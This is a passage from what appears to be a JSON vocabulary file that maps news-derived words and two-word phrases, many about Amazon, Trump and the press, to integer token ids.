metapack\": 213607,\n  \"awful letters\": 213608,\n  \"onewest reverse\": 213609,\n  \"lobby firms\": 213610,\n  \"nursing\": 213611,\n  \"burden placed\": 213612,\n  \"religion\": 213613,\n  \"ficus\": 213614,\n  \"senate today\": 213615,\n  \"contracts trump\": 213616,\n  \"visit council\": 213617,\n  \"hippie food\": 213618,\n  \"trump increased\": 213619,\n  \"president tried\": 213620,\n  \"insider reports\": 213621,\n  \"altered retail\": 213622,\n  \"cvs express\": 213623,\n  \"wide array\": 213624,\n  \"dread factor\": 213625,\n  \"sean\": 213626,\n  \"place merely\": 213627,\n  \"fellow georgetown\": 213628,\n  \"proposed digital\": 213629,\n  \"big savings\": 213630,\n  \"trump overseas\": 213631,\n  \"people bolted\": 213632,\n  \"private today\": 213633,\n  \"billy aouste\": 213634,\n  \"blair tindall\": 213635,\n  \"believes publisher\": 213636,\n  \"gop congressional\": 213637,\n  \"hurting smaller\": 213638,\n  \"unproven set\": 213639,\n  \"holy city\": 213640,\n  \"trump don\": 213641,\n  \"lest\": 213642,\n  \"compensate drivers\": 213643,\n  \"leader america\": 213644,\n  \"footing\": 213645,\n  \"blew\": 213646,\n  \"auction site\": 213647,\n  \"joins long\": 213648,\n  \"financing pre\": 213649,\n  \"operate independently\": 213650,\n  \"enabled smart\": 213651,\n  \"actually falling\": 213652,\n  \"homan\": 213653,\n  \"sources tell\": 213654,\n  \"bengaluru jabong\": 213655,\n  \"democrats did\": 213656,\n  \"rising seas\": 213657,\n  \"sinclair fires\": 213658,\n  \"away unhealthy\": 213659,\n  \"retailers enjoy\": 213660,\n  \"members ran\": 213661,\n  \"243\": 213662,\n  \"equity research\": 213663,\n  \"vote passes\": 213664,\n  \"gizmodo reached\": 213665,\n  \"software development\": 213666,\n  \"officials predictably\": 213667,\n  \"crime eric\": 213668,\n  \"friendly tabloid\": 213669,\n  \"reporting effort\": 213670,\n  \"day shopping\": 213671,\n  \"jobs citizen\": 213672,\n  \"entertainment sport\": 213673,\n  \"hilarious\": 213674,\n  \"commercialization\": 213675,\n  \"valley axios\": 213676,\n  \"western hemisphere\": 213677,\n  \"divorced think\": 213678,\n  \"follow suit\": 213679,\n  \"fully embrace\": 213680,\n  \"global crisis\": 213681,\n  \"newsweek\": 213682,\n  \"coppola brings\": 213683,\n  \"sun video\": 213684,\n  \"economists consider\": 213685,\n  \"steal funds\": 213686,\n  \"news daily\": 213687,\n  \"rivals trump\": 213688,\n  \"500 gain\": 213689,\n  \"impulse ernt\": 213690,\n  \"nasty tweets\": 213691,\n  \"new normal\": 213692,\n  \"mccabe\": 213693,\n  \"money bulk\": 213694,\n  \"trust proceedings\": 213695,\n  \"strongarmed\": 213696,\n  \"choosing cream\": 213697,\n  \"ozone park\": 213698,\n  \"right tools\": 213699,\n  \"billionaire tech\": 213700,\n  \"economic reports\": 213701,\n  \"taxes earlier\": 213702,\n  \"symbol amzn\": 213703,\n  \"tran\": 213704,\n  \"group sinclair\": 213705,\n  \"ware products\": 213706,\n  \"basis cape\": 213707,\n  \"help remake\": 213708,\n  \"rhode island\": 213709,\n  \"called disabled\": 213710,\n  \"campaign sen\": 213711,\n  \"reporter fox\": 213712,\n  \"indicted\": 213713,\n  \"federalist heritage\": 213714,\n  \"melinda katz\": 213715,\n  \"rio\": 213716,\n  \"mind bogglingly\": 213717,\n  \"trump sets\": 213718,\n  \"befriends\": 213719,\n  \"trusted mobiles\": 213720,\n  \"pennsylvania charlie\": 213721,\n  \"decrease hollywood\": 213722,\n  \"cnbc mike\": 213723,\n  \"host amazon\": 213724,\n  \"proven time\": 213725,\n  \"vz brand\": 213726,\n  \"turkmenistan\": 213727,\n  \"businessman involved\": 213728,\n  \"wing corporations\": 213729,\n  \"just passed\": 213730,\n  \"need better\": 213731,\n  \"free holiday\": 213732,\n  \"kaepernick trump\": 213733,\n  \"journal sec\": 213734,\n  \"enthusiastic backing\": 213735,\n  \"house security\": 213736,\n  \"young families\": 213737,\n  \"chiles ask\": 213738,\n  \"great disruptor\": 213739,\n  \"googles algorithms\": 213740,\n  \"observer bmw\": 213741,\n  \"paragraphs\": 213742,\n  \"deals struck\": 213743,\n  \"proof paperwhite\": 213744,\n  \"repeatedly tried\": 213745,\n  \"foreign direct\": 213746,\n  \"flops life\": 213747,\n  \"cough\": 213748,\n  \"pro makes\": 213749,\n  \"moderator\": 213750,\n  \"pay surcharge\": 213751,\n  \"d\\u00e9cor\": 213752,\n  \"small metal\": 213753,\n  \"utensil\": 213754,\n  \"diversity isn\": 213755,\n  \"following criticism\": 213756,\n  \"uf lf\": 213757,\n  \"slamming hoops\": 213758,\n  \"white knight\": 213759,\n  \"cat hybrids\": 213760,\n  \"nairobi kenya\": 213761,\n  \"years rare\": 213762,\n  \"rising tide\": 213763,\n  \"amazon briefly\": 213764,\n  \"episode premieres\": 213765,\n  \"smaller controversies\": 213766,\n  \"bork revolutionized\": 213767,\n  \"proposal focused\": 213768,\n  \"bright lights\": 213769,\n  \"potential threats\": 213770,\n  \"helps fund\": 213771,\n  \"pecker battle\": 213772,\n  \"online commerce\": 213773,\n  \"power actually\": 213774,\n  \"mcveigh capital\": 213775,\n  \"partially sort\": 213776,\n  \"legal position\": 213777,\n  \"amazon years\": 213778,\n  \"company klein\": 213779,\n  \"reunite families\": 213780,\n  \"vuillard trans\": 213781,\n  \"vincek\": 213782,\n  \"locating immigrants\": 213783,\n  \"big boss\": 213784,\n  \"proposed headquarters\": 213785,\n  \"cloud internet\": 213786,\n  \"best everyday\": 213787,\n  \"product expiration\": 213788,\n  \"wellington shields\": 213789,\n  \"moving countries\": 213790,\n  \"awarding competitive\": 213791,\n  \"tea\": 213792,\n  \"sure slow\": 213793,\n  \"target tgt\": 213794,\n  \"group noting\": 213795,\n  \"j8i r8\": 213796,\n  \"cleo\": 213797,\n  \"covers showing\": 213798,\n  \"company calculations\": 213799,\n  \"tabloid prosecutors\": 213800,\n  \"product subscriptions\": 213801,\n  \"advantages allow\": 213802,\n  \"wiseman bisbee\": 213803,\n  \"post sanders\": 213804,\n  \"represents huge\": 213805,\n  \"body brownface\": 213806,\n  \"new roads\": 213807,\n  \"nasdaq sank\": 213808,\n  \"renegotiated nafta\": 213809,\n  \"selfie bezos\": 213810,\n  \"political making\": 213811,\n  \"test incredibly\": 213812,\n  \"succession hotstar\": 213813,\n  \"starting nov\": 213814,\n  \"subcommittee focused\": 213815,\n  \"capitulation feel\": 213816,\n  \"diva\": 213817,\n  \"refresh collapse\": 213818,\n  \"news wall\": 213819,\n  \"economists paul\": 213820,\n  \"autos politico\": 213821,\n  \"trump helped\": 213822,\n  \"significant share\": 213823,\n  \"chicago infrastructure\": 213824,\n  \"roast\": 213825,\n  \"refused\": 213826,\n  \"way candidates\": 213827,\n  \"big retail\": 213828,\n  \"investigate russian\": 213829,\n  \"tacos\": 213830,\n  \"crowded trade\": 213831,\n  \"1449et\": 213832,\n  \"fas assistant\": 213833,\n  \"prom\": 213834,\n  \"free content\": 213835,\n  \"defamatory\": 213836,\n  \"dad bad\": 213837,\n  \"unannounced product\": 213838,\n  \"false instead\": 213839,\n  \"add uncertainty\": 213840,\n  \"live outside\": 213841,\n  \"danger kudlow\": 213842,\n  \"subsidize large\": 213843,\n  \"hr evolutionary\": 213844,\n  \"trooper guy\": 213845,\n  \"sustained gw\": 213846,\n  \"meals day\": 213847,\n  \"special city\": 213848,\n  \"lead author\": 213849,\n  \"coordinated shipping\": 213850,\n  \"amassing\": 213851,\n  \"hoo\": 213852,\n  \"businesses using\": 213853,\n  \"major selling\": 213854,\n  \"historical nature\": 213855,\n  \"international usa\": 213856,\n  \"wiseman\": 213857,\n  \"different firms\": 213858,\n  \"retail operations\": 213859,\n  \"koons stainless\": 213860,\n  \"falsely matched\": 213861,\n  \"lose direct\": 213862,\n  \"businesses council\": 213863,\n  \"reference shelf\": 213864,\n  \"underpaying taxes\": 213865,\n  \"kosovo women\": 213866,\n  \"tour experiences\": 213867,\n  \"better oversight\": 213868,\n  \"latin america\": 213869,\n  \"noble apple\": 213870,\n  \"normally 330\": 213871,\n  \"longtime associate\": 213872,\n  \"broker\": 213873,\n  \"traditional businesses\": 213874,\n  \"cuomo think\": 213875,\n  \"commerce buyers\": 213876,\n  \"today recap\": 213877,\n  \"single family\": 213878,\n  \"know good\": 213879,\n  \"ellison wants\": 213880,\n  \"designated communities\": 213881,\n  \"administration routinely\": 213882,\n  \"trump promised\": 213883,\n  \"accord\": 213884,\n  \"recent remarks\": 213885,\n  \"sponsor wrote\": 213886,\n  \"766\": 213887,\n  \"significantly exped\": 213888,\n  \"police investigators\": 213889,\n  \"families purchased\": 213890,\n  \"points bringing\": 213891,\n  \"hill section\": 213892,\n  \"depth assessment\": 213893,\n  \"knausgaard fascinating\": 213894,\n  \"mere hiccup\": 213895,\n  \"added cummings\": 213896,\n  \"deforestation numbers\": 213897,\n  \"lindsey graham\": 213898,\n  \"took empathy\": 213899,\n  \"herefor free\": 213900,\n  \"553\": 213901,\n  \"various issues\": 213902,\n  \"sentencing\": 213903,\n  \"content charge\": 213904,\n  \"descriptiontext rachel\": 213905,\n  \"dan crenshaw\": 213906,\n  \"corp nasdaq\": 213907,\n  \"hill phil\": 213908,\n  \"multicity\": 213909,\n  \"really triggered\": 213910,\n  \"angeles sensational\": 213911,\n  \"doctor republican\": 213912,\n  \"security companies\": 213913,\n  \"getting reinstated\": 213914,\n  \"lighthizer says\": 213915,\n  \"divide\": 213916,\n  \"intermediaries\": 213917,\n  \"experience running\": 213918,\n  \"growing popular\": 213919,\n  \"damaged buildings\": 213920,\n  \"opportunity actually\": 213921,\n  \"taylor foto\": 213922,\n  \"net joshua\": 213923,\n  \"a380 toulouse\": 213924,\n  \"samuel\": 213925,\n  \"wilke declaring\": 213926,\n  \"imports eventually\": 213927,\n  \"enlistees short\": 213928,\n  \"called president\": 213929,\n  \"press titles\": 213930,\n  \"trump easy\": 213931,\n  \"facts albeit\": 213932,\n  \"innovation technology\": 213933,\n  \"fall sharply\": 213934,\n  \"massive contract\": 213935,\n  \"depression drug\": 213936,\n  \"buzz snookered\": 213937,\n  \"2018 saudi\": 213938,\n  \"academic boycott\": 213939,\n  \"enquirer reporting\": 213940,\n  \"corporatizers\": 213941,\n  \"good stocks\": 213942,\n  \"ginned\": 213943,\n  \"qanon adherents\": 213944,\n  \"currency bloc\": 213945,\n  \"craft spokeswoman\": 213946,\n  \"studying corporate\": 213947,\n  \"station newest\": 213948,\n  \"worse report\": 213949,\n  \"glitch\": 213950,\n  \"cata santiago\": 213951,\n  \"constituted conflict\": 213952,\n  \"cost spent\": 213953,\n  \"j6 close\": 213954,\n  \"cnl_name money\": 213955,\n  \"mandel praised\": 213956,\n  \"traffic stop\": 213957,\n  \"pegs amazon\": 213958,\n  \"regulatory pressure\": 213959,\n  \"dis flowers\": 213960,\n  \"membership meeting\": 213961,\n  \"golden age\": 213962,\n  \"disc toys\": 213963,\n  \"bowes publishers\": 213964,\n  \"sir\": 213965,\n  \"selects areas\": 213966,\n  \"just discovered\": 213967,\n  \"practices including\": 213968,\n  \"ortega\": 213969,\n  \"vuillard\": 213970,\n  \"influence deforestation\": 213971,\n  \"double coat\": 213972,\n  \"toronto boosters\": 213973,\n  \"letter opposing\": 213974,\n  \"brazenly\": 213975,\n  \"completely exclude\": 213976,\n  \"hit high\": 213977,\n  \"agreement contains\": 213978,\n  \"durkan started\": 213979,\n  \"pecker entered\": 213980,\n  \"helal sheikh\": 213981,\n  \"elliott\": 213982,\n  \"weeks pulled\": 213983,\n  \"service maintains\": 213984,\n  \"drained\": 213985,\n  \"shut mueller\": 213986,\n  \"visible social\": 213987,\n  \"company rogers\": 213988,\n  \"eyeball\": 213989,\n  \"riley\": 213990,\n  \"sandy garossino\": 213991,\n  \"avg volume\": 213992,\n  \"jostled\": 213993,\n  \"story teva\": 213994,\n  \"eyes series\": 213995,\n  \"diversifying\": 213996,\n  \"yoon nightly\": 213997,\n  \"true value\": 213998,\n  \"565\": 213999,\n  \"photos holiday\": 214000,\n  \"isn photo\": 214001,\n  \"newseum pulled\": 214002,\n  \"publicly announce\": 214003,\n  \"delivered kept\": 214004,\n  \"000 display\": 214005,\n  \"article useful\": 214006,\n  \"personal demands\": 214007,\n  \"french equally\": 214008,\n  \"cause person\": 214009,\n  \"survival jobs\": 214010,\n  \"require amazon\": 214011,\n  \"sessionstorage cross\": 214012,\n  \"blew away\": 214013,\n  \"smiling faces\": 214014,\n  \"seen sort\": 214015,\n  \"industrial kitchens\": 214016,\n  \"growing skeptical\": 214017,\n  \"amazon exercising\": 214018,\n  \"reimposes ban\": 214019,\n  \"funnies great\": 214020,\n  \"proshare advsr\": 214021,\n  \"cnbc news\": 214022,\n  \"immigrants provisionally\": 214023,\n  \"concerns related\": 214024,\n  \"cunning\": 214025,\n  \"staffers think\": 214026,\n  \"making chief\": 214027,\n  \"users repeatedly\": 214028,\n  \"impeached download\": 214029,\n  \"legitimate companies\": 214030,\n  \"ag\\u00eancia brasil\": 214031,\n  \"videocardcontents jquery\": 214032,\n  \"usps europe\": 214033,\n  \"gunshot\": 214034,\n  \"major breaking\": 214035,\n  \"amazon pepsi\": 214036,\n  \"isn guaranteed\": 214037,\n  \"program prime\": 214038,\n  \"director paulina\": 214039,\n  \"belief\": 214040,\n  \"reelections\": 214041,\n  \"invincibility dynamic\": 214042,\n  \"small business\": 214043,\n  \"ez\": 214044,\n  \"pba\": 214045,\n  \"watched sports\": 214046,\n  \"null inc_track_changesflag\": 214047,\n  \"today jones\": 214048,\n  \"celebrated gloating\": 214049,\n  \"shaken buffett\": 214050,\n  \"lightbot includes\": 214051,\n  \"novel mount\": 214052,\n  \"steam 2018\": 214053,\n  \"korea consider\": 214054,\n  \"group sold\": 214055,\n  \"skin cancer\": 214056,\n  \"allegations vietnam\": 214057,\n  \"meteoric\": 214058,\n  \"becker believed\": 214059,\n  \"received tweet\": 214060,\n  \"partners amassed\": 214061,\n  \"competitive products\": 214062,\n  \"mackenzie don\": 214063,\n  \"city cnbc\": 214064,\n  \"trump hailed\": 214065,\n  \"jim watson\": 214066,\n  \"angeles bureau\": 214067,\n  \"grant harrington\": 214068,\n  \"accounting ignores\": 214069,\n  \"2022 selling\": 214070,\n  \"rose director\": 214071,\n  \"raised fears\": 214072,\n  \"schumer pelosi\": 214073,\n  \"campaign moore\": 214074,\n  \"loyalist\": 214075,\n  \"civil service\": 214076,\n  \"mmcjoei5lm oliver\": 214077,\n  \"195 000\": 214078,\n  \"passed ease\": 214079,\n  \"wedbush pachter\": 214080,\n  \"amazon columbia\": 214081,\n  \"164 shares\": 214082,\n  \"specific beef\": 214083,\n  \"different tech\": 214084,\n  \"instinct\": 214085,\n  \"authorities suggested\": 214086,\n  \"suave antithesis\": 214087,\n  \"2019 inheritance\": 214088,\n  \"frivolous\": 214089,\n  \"enquirer offered\": 214090,\n  \"dvd read\": 214091,\n  \"raphaella\": 214092,\n  \"day moving\": 214093,\n  \"mirchandani\": 214094,\n  \"property\": 214095,\n  \"create second\": 214096,\n  \"champion progressive\": 214097,\n  \"economic power\": 214098,\n  \"\\u0142177billion\": 214099,\n  \"violence surely\": 214100,\n  \"quietly unfolding\": 214101,\n  \"bon\": 214102,\n  \"actually just\": 214103,\n  \"exclusive exclusive\": 214104,\n  \"progressive legal\": 214105,\n  \"illegal knockoffs\": 214106,\n  \"burden faced\": 214107,\n  \"org 2018\": 214108,\n  \"pirated\": 214109,\n  \"airbus a380\": 214110,\n  \"remaining grade\": 214111,\n  \"year botched\": 214112,\n  \"says vietnam\": 214113,\n  \"vocal trump\": 214114,\n  \"order backlog\": 214115,\n  \"erious concerns\": 214116,\n  \"squashed\": 214117,\n  \"make cautious\": 214118,\n  \"trump incorrect\": 214119,\n  \"mexico creating\": 214120,\n  \"uffe galsgaard\": 214121,\n  \"upper middle\": 214122,\n  \"queens firster\": 214123,\n  \"frame donald\": 214124,\n  \"haberman\": 214125,\n  \"glad\": 214126,\n  \"insulation wear\": 214127,\n  \"year maybe\": 214128,\n  \"enquirer leaking\": 214129,\n  \"stifle competition\": 214130,\n  \"reaction enabled\": 214131,\n  \"club holiday\": 214132,\n  \"dumb ocasio\": 214133,\n  \"norman\": 214134,\n  \"hice ga\": 214135,\n  \"powerball winner\": 214136,\n  \"upturn\": 214137,\n  \"tape need\": 214138,\n  \"park rides\": 214139,\n  \"pf_rd_t 101\": 214140,\n  \"byron trott\": 214141,\n  \"xa\": 214142,\n  \"tech industries\": 214143,\n  \"deliver products\": 214144,\n  \"changing world\": 214145,\n  \"item claims\": 214146,\n  \"old walmart\": 214147,\n  \"julia\": 214148,\n  \"ap trump\": 214149,\n  \"government want\": 214150,\n  \"targaryens\": 214151,\n  \"annual sale\": 214152,\n  \"ftc agreement\": 214153,\n  \"navarro trump\": 214154,\n  \"selects new\": 214155,\n  \"fulfillment network\": 214156,\n  \"home include\": 214157,\n  \"prices lower\": 214158,\n  \"amazon dave\": 214159,\n  \"herera despite\": 214160,\n  \"supervening\": 214161,\n  \"year turkey\": 214162,\n  \"graham declined\": 214163,\n  \"cloud hardware\": 214164,\n  \"2019twitter ads\": 214165,\n  \"investments globally\": 214166,\n  \"modest request\": 214167,\n  \"industries aerospace\": 214168,\n  \"illegitimate\": 214169,\n  \"store spokesperson\": 214170,\n  \"braintree planning\": 214171,\n  \"taxpayers tend\": 214172,\n  \"gee\": 214173,\n  \"personal device\": 214174,\n  \"inflation hitting\": 214175,\n  \"uk parties\": 214176,\n  \"business online\": 214177,\n  \"agriculture organization\": 214178,\n  \"source jeff\": 214179,\n  \"slashing costs\": 214180,\n  \"owns 193\": 214181,\n  \"mccrummen\": 214182,\n  \"world labor\": 214183,\n  \"democrats new\": 214184,\n  \"058 ians\": 214185,\n  \"commerce ecosystem\": 214186,\n  \"2018 bipartisan\": 214187,\n  \"walkway\": 214188,\n  \"trumps state\": 214189,\n  \"game world\": 214190,\n  \"slightly different\": 214191,\n  \"web commerce\": 214192,\n  \"amazon goal\": 214193,\n  \"trace bundy\": 214194,\n  \"crumbling beneath\": 214195,\n  \"obama hillary\": 214196,\n  \"personal investment\": 214197,\n  \"companies khan\": 214198,\n  \"hq2 decision\": 214199,\n  \"amazon systems\": 214200,\n  \"0604et\": 214201,\n  \"complacent claiming\": 214202,\n  \"scheme apple\": 214203,\n  \"jewelry art\": 214204,\n  \"finance legal\": 214205,\n  \"geographic inequality\": 214206,\n  \"dwarf microsoft\": 214207,\n  \"educational games\": 214208,\n  \"extremely dangerous\": 214209,\n  \"toy used\": 214210,\n  \"sratingsintel\": 214211,\n  \"large swaths\": 214212,\n  \"giant ask\": 214213,\n  \"mcmahon hair\": 214214,\n  \"georgieva\": 214215,\n  \"york ny\": 214216,\n  \"simmons helped\": 214217,\n  \"handling debts\": 214218,\n  \"new passport\": 214219,\n  \"rocket launches\": 214220,\n  \"senator fired\": 214221,\n  \"taking heat\": 214222,\n  \"racy sexts\": 214223,\n  \"site continues\": 214224,\n  \"trek references\": 214225,\n  \"follows employee\": 214226,\n  \"celebrated amazon\": 214227,\n  \"pennants\": 214228,\n  \"does siegel\": 214229,\n  \"safety net\": 214230,\n  \"data analysis\": 214231,\n  \"repatriation policy\": 214232,\n  \"wifi solution\": 214233,\n  \"windy city\": 214234,\n  \"radicalizing\": 214235,\n  \"currency routs\": 214236,\n  \"wire work\": 214237,\n  \"emmys proposal\": 214238,\n  \"yorkers agree\": 214239,\n  \"lightbot\": 214240,\n  \"cheap amazon\": 214241,\n  \"played simultaneously\": 214242,\n  \"anime\": 214243,\n  \"entry vaughn\": 214244,\n  \"crested new\": 214245,\n  \"gluck jeff_gluck2\": 214246,\n  \"gaspard penny\": 214247,\n  \"spielman\": 214248,\n  \"general moratorium\": 214249,\n  \"travel map\": 214250,\n  \"10000 people\": 214251,\n  \"divorce having\": 214252,\n  \"sell\": 214253,\n  \"subsidized shipping\": 214254,\n  \"unjustly receive\": 214255,\n  \"complete trip\": 214256,\n  \"finished paying\": 214257,\n  \"stronger healthier\": 214258,\n  \"written amazon\": 214259,\n  \"becker public\": 214260,\n  \"year later\": 214261,\n  \"colo\": 214262,\n  \"applauded kamala\": 214263,\n  \"hospitals cnbc\": 214264,\n  \"bid poses\": 214265,\n  \"dominating style\": 214266,\n  \"attack toddler\": 214267,\n  \"sen cruz\": 214268,\n  \"eric lutz\": 214269,\n  \"people confused\": 214270,\n  \"disguise\": 214271,\n  \"trump left\": 214272,\n  \"began showing\": 214273,\n  \"monney preacher\": 214274,\n  \"makenzie\": 214275,\n  \"100418 exlarge\": 214276,\n  \"elliot\": 214277,\n  \"subsequent offenses\": 214278,\n  \"mentioned frequently\": 214279,\n  \"hurwitz hurwitz\": 214280,\n  \"baffling\": 214281,\n  \"says james\": 214282,\n  \"blasio told\": 214283,\n  \"purchase box\": 214284,\n  \"attorney says\": 214285,\n  \"media stephen\": 214286,\n  \"rm816\": 214287,\n  \"group movimiento\": 214288,\n  \"purchasing\": 214289,\n  \"katherine toole\": 214290,\n  \"understand amazon\": 214291,\n  \"coleman\": 214292,\n  \"cnl_global_nav_background_gradient_endient\": 214293,\n  \"tax holiday\": 214294,\n  \"cohen lied\": 214295,\n  \"kaepernick reaching\": 214296,\n  \"provides safe\": 214297,\n  \"xinjiang\": 214298,\n  \"tremendous damage\": 214299,\n  \"mason\": 214300,\n  \"function owl\": 214301,\n  \"laden terms\": 214302,\n  \"executive officer\": 214303,\n  \"stenhouse\": 214304,\n  \"garage mackenzie\": 214305,\n  \"publix gunslinger\": 214306,\n  \"statement affirming\": 214307,\n  \"generalized\": 214308,\n  \"allowing tens\": 214309,\n  \"chains\": 214310,\n  \"increasingly transmit\": 214311,\n  \"ought\": 214312,\n  \"presidential memoir\": 214313,\n  \"welcomed\": 214314,\n  \"combat hunger\": 214315,\n  \"lwf7i1ijpi\": 214316,\n  \"software second\": 214317,\n  \"zones oz\": 214318,\n  \"s9_acss_bw_cg_amzbooks_1a1_w node\": 214319,\n  \"aoc faces\": 214320,\n  \"following document\": 214321,\n  \"yoon\": 214322,\n  \"approaching employers\": 214323,\n  \"stylish\": 214324,\n  \"jerritt clark\": 214325,\n  \"flyers\": 214326,\n  \"lester quinones\": 214327,\n  \"average workers\": 214328,\n  \"analyst jessica\": 214329,\n  \"vmware globenewswire\": 214330,\n  \"comment president\": 214331,\n  \"souls\": 214332,\n  \"services generally\": 214333,\n  \"choose halloween\": 214334,\n  \"newsletter delivered\": 214335,\n  \"imposing tariffs\": 214336,\n  \"math photo\": 214337,\n  \"carver esque\": 214338,\n  \"drawings\": 214339,\n  \"mccain called\": 214340,\n  \"undertake capex\": 214341,\n  \"cached version\": 214342,\n  \"real costs\": 214343,\n  \"friend raped\": 214344,\n  \"head lazy\": 214345,\n  \"cortez shot\": 214346,\n  \"days year\": 214347,\n  \"typically hit\": 214348,\n  \"sharing user\": 214349,\n  \"washington vast\": 214350,\n  \"funding received\": 214351,\n  \"adam schitt\": 214352,\n  \"acquiring time\": 214353,\n  \"thickened\": 214354,\n  \"obligation\": 214355,\n  \"sachs\": 214356,\n  \"flannagan\": 214357,\n  \"story continuesa\": 214358,\n  \"north andover\": 214359,\n  \"couldn comment\": 214360,\n  \"amazon losing\": 214361,\n  \"inclusion\": 214362,\n  \"vaxxers don\": 214363,\n  \"aircraft pilot\": 214364,\n  \"ocwauaqg72\": 214365,\n  \"globe investor\": 214366,\n  \"sound high\": 214367,\n  \"dungy\": 214368,\n  \"finally weighed\": 214369,\n  \"chasmar\": 214370,\n  \"trump refuses\": 214371,\n  \"dara\": 214372,\n  \"lower right\": 214373,\n  \"just thankful\": 214374,\n  \"landline\": 214375,\n  \"opposition political\": 214376,\n  \"sandals\": 214377,\n  \"lawmakers recently\": 214378,\n  \"auction sealed\": 214379,\n  \"paid time\": 214380,\n  \"broader government\": 214381,\n  \"recent acquisition\": 214382,\n  \"prosecution agreement\": 214383,\n  \"mobs\": 214384,\n  \"hq colorado\": 214385,\n  \"safeway world\": 214386,\n  \"guppies\": 214387,\n  \"deforestation additional\": 214388,\n  \"reynders mcveigh\": 214389,\n  \"false narrative\": 214390,\n  \"recent price\": 214391,\n  \"significantly\": 214392,\n  \"wenig ceo\": 214393,\n  \"kirsten\": 214394,\n  \"retail sales\": 214395,\n  \"launch major\": 214396,\n  \"consumers begin\": 214397,\n  \"self contained\": 214398,\n  \"linking washington\": 214399,\n  \"freshmen pushing\": 214400,\n  \"include algorithms\": 214401,\n  \"veteran health\": 214402,\n  \"publish damaging\": 214403,\n  \"offices running\": 214404,\n  \"usual republicans\": 214405,\n  \"aristocrat comedian\": 214406,\n  \"reportedly date\": 214407,\n  \"digital buyers\": 214408,\n  \"chief content\": 214409,\n  \"options using\": 214410,\n  \"jay greene\": 214411,\n  \"quoted icann\": 214412,\n  \"infrastructure capturing\": 214413,\n  \"amazon contain\": 214414,\n  \"evil tech\": 214415,\n  \"amazon software\": 214416,\n  \"understated specifically\": 214417,\n  \"honestly\": 214418,\n  \"producing evidence\": 214419,\n  \"ai reads\": 214420,\n  \"hedge funds\": 214421,\n  \"team effort\": 214422,\n  \"richard sokolsky\": 214423,\n  \"william gibson\": 214424,\n  \"203\": 214425,\n  \"ginsberg\": 214426,\n  \"global assets\": 214427,\n  \"mazon critics\": 214428,\n  \"politicians actually\": 214429,\n  \"related trade\": 214430,\n  \"mcnicoll brian\": 214431,\n  \"inquirer cut\": 214432,\n  \"theflashback 2003\": 214433,\n  \"republican shift\": 214434,\n  \"salisburyjournal\": 214435,\n  \"white paper\": 214436,\n  \"morning drizzle\": 214437,\n  \"warns ashoka\": 214438,\n  \"global presence\": 214439,\n  \"month\": 214440,\n  \"maybe amazon\": 214441,\n  \"purchase time\": 214442,\n  \"photos including\": 214443,\n  \"younger consumers\": 214444,\n  \"happening especially\": 214445,\n  \"nyet\": 214446,\n  \"analyst claims\": 214447,\n  \"meyerhoff lewiston\": 214448,\n  \"taxpayers pick\": 214449,\n  \"time shows\": 214450,\n  \"usps helped\": 214451,\n  \"wrote pecker\": 214452,\n  \"included retail\": 214453,\n  \"buy amazon\": 214454,\n  \"defends tariffs\": 214455,\n  \"bozo really\": 214456,\n  \"selling illegal\": 214457,\n  \"sake\": 214458,\n  \"house decided\": 214459,\n  \"moodys\": 214460,\n  \"quid\": 214461,\n  \"emergency landing\": 214462,\n  \"appreciate quick\": 214463,\n  \"riedel president\": 214464,\n  \"staffing\": 214465,\n  \"evers\": 214466,\n  \"legal techniques\": 214467,\n  \"bearish record\": 214468,\n  \"political preference\": 214469,\n  \"confirms cia\": 214470,\n  \"make arrests\": 214471,\n  \"investment analysts\": 214472,\n  \"later approached\": 214473,\n  \"forecast operating\": 214474,\n  \"complaints won\": 214475,\n  \"royalties going\": 214476,\n  \"dozen people\": 214477,\n  \"seek divorce\": 214478,\n  \"force shoppers\": 214479,\n  \"aligned committees\": 214480,\n  \"led movement\": 214481,\n  \"korea test\": 214482,\n  \"sweeping novel\": 214483,\n  \"facebook prospects\": 214484,\n  \"foremost expert\": 214485,\n  \"whitaker abbi\": 214486,\n  \"ship packages\": 214487,\n  \"world developed\": 214488,\n  \"play photo\": 214489,\n  \"web taxes\": 214490,\n  \"news business\": 214491,\n  \"examining agreement\": 214492,\n  \"follow raw\": 214493,\n  \"president regarding\": 214494,\n  \"emily singer\": 214495,\n  \"google employees\": 214496,\n  \"411\": 214497,\n  \"arriving\": 214498,\n  \"event whistleblower\": 214499,\n  \"scheiber\": 214500,\n  \"corporate structure\": 214501,\n  \"big bank\": 214502,\n  \"fedex buy\": 214503,\n  \"numerous legal\": 214504,\n  \"decade capital\": 214505,\n  \"hired gavin\": 214506,\n  \"bloomua\": 214507,\n  \"include social\": 214508,\n  \"rapidly expanding\": 214509,\n  \"430 words\": 214510,\n  \"splashes lately\": 214511,\n  \"office flotus\": 214512,\n  \"abhishek chinnappa\": 214513,\n  \"invented conservative\": 214514,\n  \"1520251200\": 214515,\n  \"book stormy\": 214516,\n  \"natalie andrews\": 214517,\n  \"seemingly profit\": 214518,\n  \"iran backed\": 214519,\n  \"suleiman\": 214520,\n  \"wb xb\": 214521,\n  \"cyberespionage\": 214522,\n  \"items appeared\": 214523,\n  \"formative years\": 214524,\n  \"piece focused\": 214525,\n  \"successful bezos\": 214526,\n  \"north chinese\": 214527,\n  \"broker lawrence\": 214528,\n  \"unlock extra\": 214529,\n  \"writer adapts\": 214530,\n  \"worth discussing\": 214531,\n  \"employment information\": 214532,\n  \"amazon hr\": 214533,\n  \"ranked retail\": 214534,\n  \"attention given\": 214535,\n  \"abrams spy\": 214536,\n  \"acquisition tactics\": 214537,\n  \"volcano eruption\": 214538,\n  \"solution worldwide\": 214539,\n  \"stock nabbed\": 214540,\n  \"election ceo\": 214541,\n  \"anymore amazon\": 214542,\n  \"telephone company\": 214543,\n  \"selling items\": 214544,\n  \"dettmer voa\": 214545,\n  \"amazon decisions\": 214546,\n  \"progressive antitrust\": 214547,\n  \"philanthropist tom\": 214548,\n  \"emptive\": 214549,\n  \"assails\": 214550,\n  \"bankruptcies hair\": 214551,\n  \"democratic nation\": 214552,\n  \"1962092244 f7a\": 214553,\n  \"wbc\": 214554,\n  \"ny author\": 214555,\n  \"creating accounting\": 214556,\n  \"rhythm\": 214557,\n  \"cashierless store\": 214558,\n  \"president concerns\": 214559,\n  \"specifically calls\": 214560,\n  \"capt humayun\": 214561,\n  \"luck kyle\": 214562,\n  \"probe fallout\": 214563,\n  \"highly doubt\": 214564,\n  \"smart solutions\": 214565,\n  \"profits clark\": 214566,\n  \"sense shoot\": 214567,\n  \"paid jobs\": 214568,\n  \"terrible day\": 214569,\n  \"capital\": 214570,\n  \"radical ahead\": 214571,\n  \"chased tedcruz\": 